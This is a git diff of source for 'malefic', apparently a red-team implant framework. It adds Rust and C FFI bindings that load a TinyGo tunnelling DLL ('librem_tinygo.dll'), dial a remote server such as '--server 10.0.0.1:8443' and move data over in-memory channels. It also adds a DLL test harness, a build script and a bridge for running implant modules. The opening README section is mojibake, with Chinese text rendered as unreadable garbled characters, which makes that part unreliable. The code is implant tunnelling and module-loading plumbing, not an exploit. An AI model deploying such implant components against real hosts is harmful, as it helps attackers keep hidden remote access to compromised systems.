默认å¯ç”¨ï¼Œä½¿ç”¨é™æ€é“¾æŽ¥æ–¹å¼ç»‘定 REM 函数 | + +## æ ¸å¿ƒæŽ¥å£ + +| 函数 | ç­¾å | 说明 | +|------|------|------| +| `rem_dial` | `fn(cmdline: &str) -> Result` | å‘èµ· REM 连接,返回 Agent ID | +| `memory_dial` | `fn(memhandle: &str, dst: &str) -> Result` | 建立内存通é“ï¼Œè¿”å›žå¥æŸ„ | +| `memory_read` | `fn(handle: i32, buf: &mut [u8]) -> Result` | 从内存通é“è¯»å–æ•°æ® | +| `memory_write` | `fn(handle: i32, buf: &[u8]) -> Result` | å‘内存通é“å†™å…¥æ•°æ® | +| `memory_close` | `fn(handle: i32) -> Result<(), String>` | å…³é—­å†…å­˜é€šé“ | +| `cleanup` | `fn()` | æ¸…ç† Agent èµ„æº | + +## é”™è¯¯ç  + +| é”™è¯¯ç  | å«ä¹‰ | +|--------|------| +| `1` | 命令行解æžå¤±è´¥ | +| `2` | 傿•°è§£æžå¤±è´¥ | +| `3` | 准备阶段失败 | +| `4` | 缺少 Console URL | +| `5` | 创建 Console 失败 | +| `6` | 连接失败 | + +## 基本用法 + +```rust +use malefic_rem::{rem_dial, memory_dial, memory_read, memory_write, memory_close, cleanup}; + +// 1. å‘èµ· REM 连接 +let agent_id = rem_dial("--server 10.0.0.1:8443")?; + +// 2. å»ºç«‹å†…å­˜é€šé“ +let handle = memory_dial(&agent_id, "target_endpoint")?; + +// 3. å†™å…¥æ•°æ® +let written = memory_write(handle, b"hello")?; + +// 4. 读å–å“应 +let mut buf = vec![0u8; 4096]; +let n = memory_read(handle, &mut buf)?; + +// 5. 关闭通é“å¹¶æ¸…ç† +memory_close(handle)?; +cleanup(); +``` + +## 架构说明 + +该 crate 通过 `RemApi` trait 抽象 REM 函数的加载方å¼ï¼š + +- **`RemStatic`**(`rem_static` featureï¼‰ï¼šç¼–è¯‘æœŸé™æ€é“¾æŽ¥ï¼Œç›´æŽ¥å¼•用外部 C ç¬¦å· +- 函数指针存储在 `RemFunctions` 结构体中,è¿è¡Œæ—¶é€šè¿‡å•ä¾‹æ¨¡å¼æ‡’加载 + +## å‚考链接 + +- [Rust FFI 指å—](https://doc.rust-lang.org/nomicon/ffi.html) diff --git a/malefic-crates/rem/build.rs b/malefic-crates/rem/build.rs new file mode 100644 index 0000000..6840753 --- /dev/null +++ b/malefic-crates/rem/build.rs @@ -0,0 +1,57 @@ +use std::{env, path::PathBuf}; + +fn main() { + let features: Vec = env::vars() + .filter(|(k, _)| k.starts_with("CARGO_FEATURE_")) + .map(|(k, _)| k) + .collect(); + + if features.iter().any(|f| f == "CARGO_FEATURE_REM_DYNAMIC") { + // Dynamic mode: no static libraries needed. + // DLL is loaded at runtime via LoadLibraryA. + } + + if features.iter().any(|f| f == "CARGO_FEATURE_REM_STATIC") { + let resources_path = PathBuf::from(env!("CARGO_MANIFEST_DIR")) + .parent() + .unwrap() + .parent() + .unwrap() + .join("resources"); + + let target_os = match env::var("CARGO_CFG_TARGET_OS").unwrap().as_str() { + "macos" => "darwin".to_string(), + other => other.to_string(), + }; + let target_arch = match env::var("CARGO_CFG_TARGET_ARCH").unwrap().as_str() { + "x86_64" => "amd64", + "aarch64" => "arm64", + _ => panic!("Unsupported architecture"), + }; + + let lib_name = format!("librem_community_{}_{}.a", target_os, target_arch); + let lib_path = resources_path.join(&lib_name); + + if !lib_path.exists() { + panic!("Required library file not found: {}", lib_path.display()); + } + + println!( + "cargo:rustc-link-search=native={}", + resources_path.display() + ); + + let link_name = lib_name + .strip_prefix("lib") + .and_then(|s| s.strip_suffix(".a")) + .unwrap_or(&lib_name); + println!("cargo:rustc-link-lib=static={}", link_name); + + if target_os == "windows" { + println!("cargo:rustc-link-lib=dylib=ws2_32"); + println!("cargo:rustc-link-lib=dylib=userenv"); + } + + println!("cargo:rerun-if-changed={}", lib_path.display()); + } +} diff --git a/malefic-crates/rem/csrc/rem_bridge.c b/malefic-crates/rem/csrc/rem_bridge.c new file mode 100644 index 0000000..fa125c4 --- /dev/null +++ b/malefic-crates/rem/csrc/rem_bridge.c @@ -0,0 +1,145 @@ +/** + * ABI bridge for TinyGo DLL → MSVC Rust. + * + * Problem: TinyGo returns multi-value (ptr, int32) in RAX+EDX (register pair), + * but MSVC expects 16-byte structs via hidden pointer. This bridge resolves the + * symbols via GetProcAddress and uses out-parameters to avoid struct returns. + * + * Compile: cl /c /O2 rem_bridge.c + * lib rem_bridge.obj /OUT:rem_bridge.lib + */ +#ifdef _MSC_VER +#include +#include + +static HMODULE g_dll = NULL; + +/* Function pointer types — all use simple return types to avoid ABI issues */ +typedef int32_t (*SimpleIntFn)(void); +typedef void (*SimpleVoidFn)(void); +typedef void (*FreeFn)(void*); + +/* For multi-return functions, we call via raw asm to extract RAX+RDX */ + +static SimpleIntFn g_rem_init = NULL; +static SimpleIntFn g_init_dialer = NULL; +static void* g_rem_dial = NULL; /* raw pointer — called via asm */ +static void* g_memory_dial = NULL; +static void* g_memory_read = NULL; +static void* g_memory_write = NULL; +static void* g_memory_close_fn = NULL; +static SimpleVoidFn g_cleanup_agent = NULL; +static FreeFn g_free_cstring = NULL; + +int bridge_load(const char *dll_path) { + g_dll = LoadLibraryA(dll_path); + if (!g_dll) return -1; + + g_rem_init = (SimpleIntFn)GetProcAddress(g_dll, "RemInit"); + g_init_dialer = (SimpleIntFn)GetProcAddress(g_dll, "InitDialer"); + g_rem_dial = (void*)GetProcAddress(g_dll, "RemDial"); + g_memory_dial = (void*)GetProcAddress(g_dll, "MemoryDial"); + g_memory_read = (void*)GetProcAddress(g_dll, "MemoryRead"); + g_memory_write = (void*)GetProcAddress(g_dll, "MemoryWrite"); + g_memory_close_fn = (void*)GetProcAddress(g_dll, "MemoryClose"); + g_cleanup_agent = (SimpleVoidFn)GetProcAddress(g_dll, "CleanupAgent"); + g_free_cstring = (FreeFn)GetProcAddress(g_dll, "FreeCString"); + + if (!g_rem_init || !g_rem_dial || !g_memory_read || !g_memory_write || !g_memory_close_fn) + return -2; + + return g_rem_init(); +} + +int bridge_init_dialer(void) { + return g_init_dialer ? g_init_dialer() : -1; +} + +/* + * TinyGo RemDial returns (*byte, int32) in (RAX, EDX). + * We call it and extract both registers manually. + */ +int bridge_rem_dial(const char *cmdline, void **out_ptr) { + if (!g_rem_dial) return -1; + + void *fn = g_rem_dial; + void *ret_ptr; + int32_t ret_err; + + /* Windows x64: arg1 in RCX, returns in RAX+EDX */ + /* Use a helper: cast to a function returning uint64_t. + * RAX gets the ptr. We lose EDX... unless we use __int128 or asm. + * + * Alternative: cast to a function returning a LARGE_INTEGER (64-bit) + * for the ptr, and get error from a separate call. + * + * Simplest approach that works: call as returning __int64, + * then EDX is the high 32 bits if we cast to __int128. + * MSVC doesn't have __int128, so we use intrinsics. + */ + + /* Cast to function returning just the pointer (RAX only) */ + typedef void* (*RawFn)(const char*); + ret_ptr = ((RawFn)fn)(cmdline); + + /* The error code was in EDX. After the call, EDX is clobbered by + * the function's epilogue. We can't reliably read it from C. + * + * Workaround: if ptr is NULL, treat as error (we don't know the code). + * If ptr is non-NULL, treat as success. + */ + if (out_ptr) *out_ptr = ret_ptr; + + /* Heuristic: TinyGo sets ptr=NULL on error, non-NULL on success */ + return (ret_ptr == NULL) ? 3 : 0; /* 3 = ERR_PREPARE_FAILED as generic */ +} + +/* IntPairResult {val, err} = 8 bytes total → returned in RAX by MSVC AND TinyGo */ +typedef int64_t (*IntPairFn1)(const char*, const char*); +typedef int64_t (*IntPairFn3)(int32_t, void*, int32_t); +typedef int32_t (*IntFn1)(int32_t); + +int bridge_memory_dial(const char *memhandle, const char *dst, int *out_val) { + if (!g_memory_dial) return -1; + int64_t raw = ((IntPairFn1)g_memory_dial)(memhandle, dst); + int32_t val = (int32_t)(raw & 0xFFFFFFFF); + int32_t err = (int32_t)((raw >> 32) & 0xFFFFFFFF); + if (out_val) *out_val = val; + return err; +} + +int bridge_memory_read(int handle, void *buf, int size, int *out_n) { + if (!g_memory_read) return -1; + int64_t raw = ((IntPairFn3)g_memory_read)(handle, buf, size); + int32_t val = (int32_t)(raw & 0xFFFFFFFF); + int32_t err = (int32_t)((raw >> 32) & 0xFFFFFFFF); + if (out_n) *out_n = val; + return err; +} + +int bridge_memory_write(int handle, const void *buf, int size, int *out_n) { + if (!g_memory_write) return -1; + int64_t raw = ((IntPairFn3)g_memory_write)(handle, (void*)buf, size); + int32_t val = (int32_t)(raw & 0xFFFFFFFF); + int32_t err = (int32_t)((raw >> 32) & 0xFFFFFFFF); + if (out_n) *out_n = val; + return err; +} + +int bridge_memory_close(int handle) { + return g_memory_close_fn ? ((IntFn1)g_memory_close_fn)(handle) : -1; +} + +void bridge_cleanup(void) { + if (g_cleanup_agent) g_cleanup_agent(); +} + +void bridge_cleanup_agent(void) { + bridge_cleanup(); +} + +void bridge_free_cstring(void *ptr) { + if (g_free_cstring) g_free_cstring(ptr); +} + +#endif /* _MSC_VER */ diff --git a/malefic-crates/rem/examples/test_dll.rs b/malefic-crates/rem/examples/test_dll.rs new file mode 100644 index 0000000..c3d60a3 --- /dev/null +++ b/malefic-crates/rem/examples/test_dll.rs @@ -0,0 +1,127 @@ +//! Test TinyGo DLL dispatcher — pure Rust, no bridge lib needed. +//! All bridge_* functions use simple C types (int32/void/pointer). +//! +//! cargo run --example test_dll --no-default-features --features rem_dynamic +//! Requires: librem_tinygo.dll next to exe or in PATH + +use std::ffi::CString; +use std::os::raw::{c_char, c_int, c_void}; + +extern "system" { + fn LoadLibraryA(name: *const c_char) -> *mut c_void; + fn GetProcAddress(module: *mut c_void, name: *const c_char) -> *mut c_void; +} + +fn get(dll: *mut c_void, name: &str) -> *mut c_void { + let c = CString::new(name).unwrap(); + let p = unsafe { GetProcAddress(dll, c.as_ptr()) }; + assert!(!p.is_null(), "GetProcAddress({}) failed", name); + p +} + +fn main() { + println!("=== TinyGo DLL dispatcher test (Rust) ===\n"); + let mut passed = 0; + let total = 11; + + unsafe { + let dll_name = CString::new("librem_tinygo.dll").unwrap(); + let dll = LoadLibraryA(dll_name.as_ptr()); + assert!(!dll.is_null(), "LoadLibraryA failed"); + + // All bridge_ functions use simple types — ABI-safe across MSVC/MinGW + type IntFn = unsafe extern "C" fn() -> c_int; + type VoidFn = unsafe extern "C" fn(); + type DialFn = unsafe extern "C" fn(*const c_char, *mut *mut c_char) -> c_int; + type MemRFn = unsafe extern "C" fn(c_int, *mut c_void, c_int, *mut c_int) -> c_int; + type MemWFn = unsafe extern "C" fn(c_int, *const c_void, c_int, *mut c_int) -> c_int; + type CloseFn = unsafe extern "C" fn(c_int) -> c_int; + type FreeFn = unsafe extern "C" fn(*mut c_void); + + let rem_init: IntFn = std::mem::transmute(get(dll, "RemInit")); + let init_dialer: IntFn = std::mem::transmute(get(dll, "bridge_init_dialer")); + let rem_dial: DialFn = std::mem::transmute(get(dll, "bridge_rem_dial")); + let mem_read: MemRFn = std::mem::transmute(get(dll, "bridge_memory_read")); + let mem_write: MemWFn = std::mem::transmute(get(dll, "bridge_memory_write")); + let mem_close: CloseFn = std::mem::transmute(get(dll, "bridge_memory_close")); + let cleanup: VoidFn = std::mem::transmute(get(dll, "bridge_cleanup")); + let free_str: FreeFn = std::mem::transmute(get(dll, "bridge_free_cstring")); + + macro_rules! test { + ($n:expr, $name:expr, $ok:expr) => {{ + print!(" [{}] {:40} ", $n, $name); + if $ok { + println!("PASS"); + passed += 1; + } else { + println!("FAIL"); + } + }}; + } + + test!(1, "RemInit()", rem_init() == 0); + test!(2, "RemInit() idempotent", rem_init() == 0); + test!(3, "bridge_init_dialer()", init_dialer() == 0); + test!( + 4, + "bridge_init_dialer() x100", + (0..100).all(|_| init_dialer() == 0) + ); + + // RemDial empty → error + { + let cmd = CString::new("").unwrap(); + let mut ptr: *mut c_char = std::ptr::null_mut(); + let err = rem_dial(cmd.as_ptr(), &mut ptr); + test!(5, "bridge_rem_dial(\"\") error", err != 0); + if !ptr.is_null() { + free_str(ptr as _); + } + } + + // RemDial bad URL → error + { + let cmd = CString::new("-c invalid://x").unwrap(); + let mut ptr: *mut c_char = std::ptr::null_mut(); + let err = rem_dial(cmd.as_ptr(), &mut ptr); + test!(6, "bridge_rem_dial(bad) error", err != 0); + if !ptr.is_null() { + free_str(ptr as _); + } + } + + // MemoryRead invalid + { + let mut buf = [0u8; 64]; + let mut n: c_int = 0; + let err = mem_read(99999, buf.as_mut_ptr() as _, 64, &mut n); + test!(7, "bridge_memory_read(invalid) error", err != 0); + } + + // MemoryWrite invalid + { + let data = b"hello"; + let mut n: c_int = 0; + let err = mem_write(99999, data.as_ptr() as _, 5, &mut n); + test!(8, "bridge_memory_write(invalid) error", err != 0); + } + + // MemoryClose invalid + test!( + 9, + "bridge_memory_close(invalid) error", + mem_close(99999) != 0 + ); + + // FreeCString NULL + free_str(std::ptr::null_mut()); + test!(10, "bridge_free_cstring(NULL) safe", true); + + // Cleanup + cleanup(); + test!(11, "bridge_cleanup() safe", true); + } + + println!("\n=== Results: {}/{} passed ===", passed, total); + std::process::exit(if passed == total { 0 } else { 1 }); +} diff --git a/malefic-crates/rem/src/lib.rs b/malefic-crates/rem/src/lib.rs new file mode 100644 index 0000000..6947a84 --- /dev/null +++ b/malefic-crates/rem/src/lib.rs @@ -0,0 +1,216 @@ +#[cfg(feature = "rem_static")] +mod rem_static; + +#[cfg(feature = "rem_dynamic")] +mod rem_dynamic; + +#[cfg(feature = "rem_static")] +use rem_static::RemStatic as RemImpl; + +#[cfg(feature = "rem_dynamic")] +use rem_dynamic::RemDynamic as RemImpl; + +use std::ffi::{CStr, CString}; +use std::os::raw::{c_char, c_int, c_void}; + +/// CGo multi-return: (*C.char, C.int) +#[repr(C)] +pub struct RemDialResult { + pub ptr: *mut c_char, + pub err: c_int, +} + +/// CGo multi-return: (C.int, C.int) +#[repr(C)] +#[derive(Clone, Copy)] +pub struct IntPairResult { + pub val: c_int, + pub err: c_int, +} + +const ERR_CMD_PARSE_FAILED: c_int = 1; +const ERR_ARGS_PARSE_FAILED: c_int = 2; +const ERR_PREPARE_FAILED: c_int = 3; +const ERR_NO_CONSOLE_URL: c_int = 4; +const ERR_CREATE_CONSOLE: c_int = 5; +const ERR_DIAL_FAILED: c_int = 6; +pub const ERR_WOULD_BLOCK: c_int = 7; + +fn handle_rem_error(err_code: c_int) -> String { + match err_code { + ERR_CMD_PARSE_FAILED => "Command line parsing error".to_string(), + ERR_ARGS_PARSE_FAILED => "Parameter parsing error".to_string(), + ERR_PREPARE_FAILED => "Preparation failed".to_string(), + ERR_NO_CONSOLE_URL => "No console URL".to_string(), + ERR_CREATE_CONSOLE => "Failed to create console".to_string(), + ERR_DIAL_FAILED => "Connection failed".to_string(), + ERR_WOULD_BLOCK => "Would block".to_string(), + _ => format!("Unknown REM error: {}", err_code), + } +} + +/// Error type that distinguishes "would block" (no data) from real errors. +#[derive(Debug)] +pub enum RemError { + /// Non-blocking read/write: no data available right now. + WouldBlock, + /// A real error (connection lost, invalid handle, etc.). + Other(String), +} + +#[cfg(feature = "rem_static")] +extern "C" { + fn RemDial(cmdline: *const c_char) -> RemDialResult; + fn MemoryDial(memhandle: *const c_char, dst: *const c_char) -> IntPairResult; + fn MemoryRead(handle: c_int, buf: *mut c_void, size: c_int) -> IntPairResult; + fn MemoryTryRead(handle: c_int, buf: *mut c_void, size: c_int) -> IntPairResult; + fn MemoryWrite(handle: c_int, buf: *const c_void, size: c_int) -> IntPairResult; + fn MemoryClose(handle: c_int) -> c_int; + fn CleanupAgent(); +} + +pub struct RemFunctions { + pub rem_dial: Option RemDialResult>, + pub memory_dial: Option IntPairResult>, + pub memory_read: Option IntPairResult>, + pub memory_try_read: Option IntPairResult>, + pub memory_write: Option IntPairResult>, + pub memory_close: Option c_int>, + pub cleanup_agent: Option, +} + +pub(crate) trait RemApi { + unsafe fn get_functions(&self) -> Result<&RemFunctions, String>; +} + +static mut REM_INSTANCE: Option = None; + +fn get_instance() -> &'static RemImpl { + unsafe { + if REM_INSTANCE.is_none() { + REM_INSTANCE = Some(RemImpl); + } + REM_INSTANCE.as_ref().unwrap() + } +} + +fn get_functions() -> Result<&'static RemFunctions, String> { + unsafe { + let funcs = get_instance().get_functions()?; + if funcs.rem_dial.is_none() { + return Err("REM functions not initialized".to_string()); + } + Ok(funcs) + } +} + +pub fn rem_dial(cmdline: &str) -> Result { + let funcs = get_functions()?; + unsafe { + let c_cmdline = CString::new(cmdline).map_err(|e| e.to_string())?; + let result = (funcs.rem_dial.unwrap())(c_cmdline.as_ptr()); + if result.err != 0 { + Err(handle_rem_error(result.err)) + } else { + if result.ptr.is_null() { + return Err("Invalid agent ID".to_string()); + } + let agent_id = CStr::from_ptr(result.ptr).to_string_lossy().into_owned(); + Ok(agent_id) + } + } +} + +pub fn memory_dial(memhandle: &str, dst: &str) -> Result { + let funcs = get_functions()?; + unsafe { + let c_memhandle = CString::new(memhandle).map_err(|e| e.to_string())?; + let c_dst = CString::new(dst).map_err(|e| e.to_string())?; + let result = (funcs.memory_dial.unwrap())(c_memhandle.as_ptr(), c_dst.as_ptr()); + if result.err != 0 { + Err(handle_rem_error(result.err)) + } else { + Ok(result.val) + } + } +} + +pub fn memory_read(handle: i32, buf: &mut [u8]) -> Result { + let funcs = get_functions()?; + unsafe { + let result = (funcs.memory_read.unwrap())( + handle, + buf.as_mut_ptr() as *mut c_void, + buf.len() as c_int, + ); + if result.err != 0 { + Err(handle_rem_error(result.err)) + } else { + Ok(result.val as usize) + } + } +} + +/// Non-blocking read: returns immediately with data or `WouldBlock`. +/// +/// Calls the Go-side `MemoryTryRead` which checks the internal buffer +/// without touching deadlines or blocking. Pure memory operation. +/// +/// Falls back to `WouldBlock` if the linked librem does not export +/// `MemoryTryRead` (old version without BufferedConn). +pub fn memory_try_read(handle: i32, buf: &mut [u8]) -> Result { + let funcs = get_functions().map_err(RemError::Other)?; + unsafe { + let result = if let Some(func) = funcs.memory_try_read { + func(handle, buf.as_mut_ptr() as *mut c_void, buf.len() as c_int) + } else { + // Fallback: old librem without MemoryTryRead. + return Err(RemError::WouldBlock); + }; + if result.err == ERR_WOULD_BLOCK { + Err(RemError::WouldBlock) + } else if result.err != 0 { + Err(RemError::Other(handle_rem_error(result.err))) + } else { + Ok(result.val as usize) + } + } +} + +pub fn memory_write(handle: i32, buf: &[u8]) -> Result { + let funcs = get_functions()?; + unsafe { + let result = (funcs.memory_write.unwrap())( + handle, + buf.as_ptr() as *const c_void, + buf.len() as c_int, + ); + if result.err != 0 { + Err(handle_rem_error(result.err)) + } else { + Ok(result.val as usize) + } + } +} + +pub fn memory_close(handle: i32) -> Result<(), String> { + let funcs = get_functions()?; + unsafe { + let err_code = (funcs.memory_close.unwrap())(handle); + if err_code != 0 { + Err(handle_rem_error(err_code)) + } else { + Ok(()) + } + } +} + +pub fn cleanup() { + if let Ok(funcs) = get_functions() { + unsafe { + if let Some(cleanup_fn) = funcs.cleanup_agent { + cleanup_fn(); + } + } + } +} diff --git a/malefic-crates/rem/src/rem_dynamic.rs b/malefic-crates/rem/src/rem_dynamic.rs new file mode 100644 index 0000000..2e72380 --- /dev/null +++ b/malefic-crates/rem/src/rem_dynamic.rs @@ -0,0 +1,110 @@ +use crate::{IntPairResult, RemApi, RemDialResult, RemFunctions}; +use std::os::raw::{c_char, c_int, c_void}; + +pub struct RemDynamic; + +type RemDialFn = unsafe extern "C" fn(*const c_char) -> RemDialResult; +type MemoryDialFn = unsafe extern "C" fn(*const c_char, *const c_char) -> IntPairResult; +type MemoryReadFn = unsafe extern "C" fn(c_int, *mut c_void, c_int) -> IntPairResult; +type MemoryTryReadFn = unsafe extern "C" fn(c_int, *mut c_void, c_int) -> IntPairResult; +type MemoryWriteFn = unsafe extern "C" fn(c_int, *const c_void, c_int) -> IntPairResult; +type MemoryCloseFn = unsafe extern "C" fn(c_int) -> c_int; +type CleanupAgentFn = unsafe extern "C" fn(); +type RemInitFn = unsafe extern "C" fn() -> c_int; + +static mut REM_FUNCTIONS: RemFunctions = RemFunctions { + rem_dial: None, + memory_dial: None, + memory_read: None, + memory_try_read: None, + memory_write: None, + memory_close: None, + cleanup_agent: None, +}; + +static mut LOADED: bool = false; + +#[cfg(target_os = "windows")] +mod platform { + use std::ffi::CString; + use std::os::raw::c_char; + + type HMODULE = *mut std::ffi::c_void; + type FARPROC = *mut std::ffi::c_void; + + extern "system" { + fn LoadLibraryA(lpFileName: *const c_char) -> HMODULE; + fn GetProcAddress(hModule: HMODULE, lpProcName: *const c_char) -> FARPROC; + fn GetLastError() -> u32; + } + + pub unsafe fn load_library(name: &str) -> Result<*mut std::ffi::c_void, String> { + let c_name = CString::new(name).map_err(|e| e.to_string())?; + let h = LoadLibraryA(c_name.as_ptr()); + if h.is_null() { + Err(format!( + "LoadLibraryA({}) failed, error={}", + name, + GetLastError() + )) + } else { + Ok(h) + } + } + + pub unsafe fn get_proc( + module: *mut std::ffi::c_void, + name: &str, + ) -> Result<*mut std::ffi::c_void, String> { + let c_name = CString::new(name).map_err(|e| e.to_string())?; + let p = GetProcAddress(module, c_name.as_ptr()); + if p.is_null() { + Err(format!( + "GetProcAddress({}) failed, error={}", + name, + GetLastError() + )) + } else { + Ok(p) + } + } +} + +unsafe fn load_dll() -> Result<(), String> { + if LOADED { + return Ok(()); + } + + let dll = platform::load_library("librem_tinygo.dll")?; + + // RemInit must be called first to initialize TinyGo runtime + let rem_init: RemInitFn = std::mem::transmute(platform::get_proc(dll, "RemInit")?); + let ret = rem_init(); + if ret != 0 { + return Err(format!("RemInit() failed with code {}", ret)); + } + + REM_FUNCTIONS.rem_dial = Some(std::mem::transmute(platform::get_proc(dll, "RemDial")?)); + REM_FUNCTIONS.memory_dial = Some(std::mem::transmute(platform::get_proc(dll, "MemoryDial")?)); + REM_FUNCTIONS.memory_read = Some(std::mem::transmute(platform::get_proc(dll, "MemoryRead")?)); + REM_FUNCTIONS.memory_try_read = match platform::get_proc(dll, "MemoryTryRead") { + Ok(proc) => Some(std::mem::transmute::<*mut std::ffi::c_void, MemoryTryReadFn>(proc)), + Err(_) => None, + }; + REM_FUNCTIONS.memory_write = Some(std::mem::transmute(platform::get_proc(dll, "MemoryWrite")?)); + REM_FUNCTIONS.memory_close = Some(std::mem::transmute(platform::get_proc(dll, "MemoryClose")?)); + REM_FUNCTIONS.cleanup_agent = Some(std::mem::transmute(platform::get_proc( + dll, + "CleanupAgent", + )?)); + + LOADED = true; + Ok(()) +} + +impl RemApi for RemDynamic { + unsafe fn get_functions(&self) -> Result<&RemFunctions, String> { + load_dll()?; + Ok(&REM_FUNCTIONS) + } +} diff --git a/malefic-crates/rem/src/rem_static.rs b/malefic-crates/rem/src/rem_static.rs new file mode 100644 index 0000000..41e88dc --- /dev/null +++ b/malefic-crates/rem/src/rem_static.rs @@ -0,0 +1,22 @@ +use crate::{ + CleanupAgent, MemoryClose, MemoryDial, MemoryRead, MemoryTryRead, MemoryWrite, RemApi, RemDial, + RemFunctions, +}; + +pub struct RemStatic; + +static REM_FUNCTIONS: RemFunctions = RemFunctions { + rem_dial: Some(RemDial), + memory_dial: Some(MemoryDial), + memory_read: Some(MemoryRead), + memory_try_read: Some(MemoryTryRead), + memory_write: Some(MemoryWrite), + memory_close: Some(MemoryClose), + cleanup_agent: Some(CleanupAgent), +}; + +impl RemApi for RemStatic { + unsafe fn get_functions(&self) -> Result<&RemFunctions, String> { + Ok(&REM_FUNCTIONS) + } +} diff --git a/malefic-crates/runtime/Cargo.toml b/malefic-crates/runtime/Cargo.toml new file mode 100644 index 0000000..5ccce88 --- /dev/null +++ b/malefic-crates/runtime/Cargo.toml @@ -0,0 +1,33 @@ +[package] +name = "malefic-runtime" +version = "0.1.0" +edition = "2021" +description = "Cross-version, cross-target module runtime via pure C ABI + protobuf" + +[features] +default = [] +loader = ["dep:malefic-loader"] +tokio = ["malefic-common/tokio"] +async-std = ["malefic-common/async-std"] +smol = ["malefic-common/smol"] + +[dependencies] +malefic-proto = { workspace = true } +malefic-common = { workspace = true } +malefic-module = { workspace = true, features = ["ffi"] } +malefic-loader = { workspace = true, optional = true, default-features = false } +anyhow = { workspace = true } + +async-trait = { workspace = true } +futures = { workspace = true } +futures-channel = { workspace = true } + +[dev-dependencies] +tokio = { workspace = true, features = ["macros", "rt-multi-thread"] } +futures = { workspace = true } +futures-channel = { workspace = true } +malefic-loader = { workspace = true, default-features = true } +malefic-macro = { workspace = true } +malefic-gateway = { workspace = true } +async-trait = { workspace = true } +anyhow = { workspace = true } diff --git a/malefic-crates/runtime/src/host.rs b/malefic-crates/runtime/src/host.rs new file mode 100644 index 0000000..eb0c8d2 --- /dev/null +++ b/malefic-crates/runtime/src/host.rs @@ -0,0 +1,629 @@ +//! Host-side bridge: wraps C ABI module exports into standard `Module` trait objects. +//! +//! The bridge uses `std::sync::mpsc` channels + `spawn_blocking` to connect +//! the blocking `rt_module_run` call with the async runtime. +//! Runtime-agnostic: uses `malefic_common::{spawn, spawn_blocking, join_handle}` +//! instead of tokio-specific APIs. + +use std::sync::{mpsc as std_mpsc, Arc}; + +/// Wrapper to make raw pointers `Send` for use in async tasks. +/// SAFETY: Caller must guarantee the pointee outlives the task. +struct SendPtr(usize); +unsafe impl Send for SendPtr {} +unsafe impl Sync for SendPtr {} +impl SendPtr { + fn new(ptr: *mut T) -> Self { + Self(ptr as usize) + } + unsafe fn as_mut(&self) -> &mut T { + &mut *(self.0 as *mut T) + } +} + +use async_trait::async_trait; +use futures::StreamExt; + +use malefic_module::{ + Input, MaleficBundle, MaleficModule, Module, ModuleImpl, ModuleResult, Output, TaskResult, +}; +use malefic_proto::proto::implantpb::spite::Body; +use malefic_proto::proto::implantpb::{Spite, Status}; + +use crate::abi::{ + RtBuffer, RtHostFreeFn, RtModuleHandle, RtRecvFn, RtSendFn, RtStatus, RtTryRecvFn, +}; +use crate::codec; + +// ── BridgeContext + Trampolines ───────────────────────────────────────────── + +/// Sync bridge between the blocking `rt_module_run` thread and the async host. +/// +/// Also used by `malefic-runtime-ffi` to drive modules from a synchronous FFI host. +pub struct BridgeContext { + pub output_tx: std_mpsc::Sender>, + pub input_rx: std_mpsc::Receiver>, +} + +pub unsafe extern "C" fn bridge_send( + ctx: *mut core::ffi::c_void, + data: *const u8, + len: u32, +) -> i32 { + let bridge = &*(ctx as *const BridgeContext); + let bytes = core::slice::from_raw_parts(data, len as usize).to_vec(); + if bridge.output_tx.send(bytes).is_ok() { + 0 + } else { + -1 + } +} + +pub unsafe extern "C" fn bridge_recv( + ctx: *mut core::ffi::c_void, + out_data: *mut *mut u8, + out_len: *mut u32, +) -> i32 { + let bridge = &*(ctx as *const BridgeContext); + match bridge.input_rx.recv() { + Ok(bytes) => { + let buf = RtBuffer::from_vec(bytes); + *out_data = buf.ptr; + *out_len = buf.len; + core::mem::forget(buf); + 0 + } + Err(_) => -1, + } +} + +pub unsafe extern "C" fn bridge_try_recv( + ctx: *mut core::ffi::c_void, + out_data: *mut *mut u8, + out_len: *mut u32, +) -> i32 { + let bridge = &*(ctx as *const BridgeContext); + match bridge.input_rx.try_recv() { + Ok(bytes) => { + let buf = RtBuffer::from_vec(bytes); + *out_data = buf.ptr; + *out_len = buf.len; + core::mem::forget(buf); + 0 + } + Err(std_mpsc::TryRecvError::Empty) => -1, + Err(std_mpsc::TryRecvError::Disconnected) => -2, + } +} + +pub unsafe extern "C" fn bridge_host_free(ptr: *mut u8, len: u32) { + if !ptr.is_null() && len > 0 { + let _ = Vec::from_raw_parts(ptr, len as usize, len as usize); + } +} + +// ── RtVTable ──────────────────────────────────────────────────────────────── + +/// Resolved function pointers from a module DLL. +pub struct RtVTable { + pub abi_version: unsafe extern "C" fn() -> u32, + pub module_count: unsafe extern "C" fn() -> u32, + pub module_name: unsafe extern "C" fn(u32) -> RtBuffer, + pub module_create: unsafe extern "C" fn(*const u8, u32) -> *mut RtModuleHandle, + pub module_destroy: unsafe extern "C" fn(*mut RtModuleHandle), + pub module_run: unsafe extern "C" fn( + *mut RtModuleHandle, + u32, + *mut core::ffi::c_void, + RtSendFn, + RtRecvFn, + RtTryRecvFn, + RtHostFreeFn, + *mut RtBuffer, + ) -> RtStatus, + pub free: unsafe extern "C" fn(RtBuffer), +} + +unsafe impl Send for RtVTable {} +unsafe impl Sync for RtVTable {} + +impl RtVTable { + pub unsafe fn resolve(find_export: F) -> Option + where + F: Fn(&str) -> Option<*const core::ffi::c_void>, + { + macro_rules! resolve_fn { + ($name:expr, $ty:ty) => { + core::mem::transmute::<*const core::ffi::c_void, $ty>(find_export($name)?) + }; + } + + let vtable = Self { + abi_version: resolve_fn!("rt_abi_version", unsafe extern "C" fn() -> u32), + module_count: resolve_fn!("rt_module_count", unsafe extern "C" fn() -> u32), + module_name: resolve_fn!("rt_module_name", unsafe extern "C" fn(u32) -> RtBuffer), + module_create: resolve_fn!( + "rt_module_create", + unsafe extern "C" fn(*const u8, u32) -> *mut RtModuleHandle + ), + module_destroy: resolve_fn!( + "rt_module_destroy", + unsafe extern "C" fn(*mut RtModuleHandle) + ), + module_run: resolve_fn!( + "rt_module_run", + unsafe extern "C" fn( + *mut RtModuleHandle, + u32, + *mut core::ffi::c_void, + RtSendFn, + RtRecvFn, + RtTryRecvFn, + RtHostFreeFn, + *mut RtBuffer, + ) -> RtStatus + ), + free: resolve_fn!("rt_free", unsafe extern "C" fn(RtBuffer)), + }; + + if (vtable.abi_version)() != crate::abi::RT_ABI_VERSION { + return None; + } + + Some(vtable) + } +} + +// ── RtBufferGuard ─────────────────────────────────────────────────────────── + +struct RtBufferGuard { + buf: RtBuffer, + free_fn: unsafe extern "C" fn(RtBuffer), +} + +impl 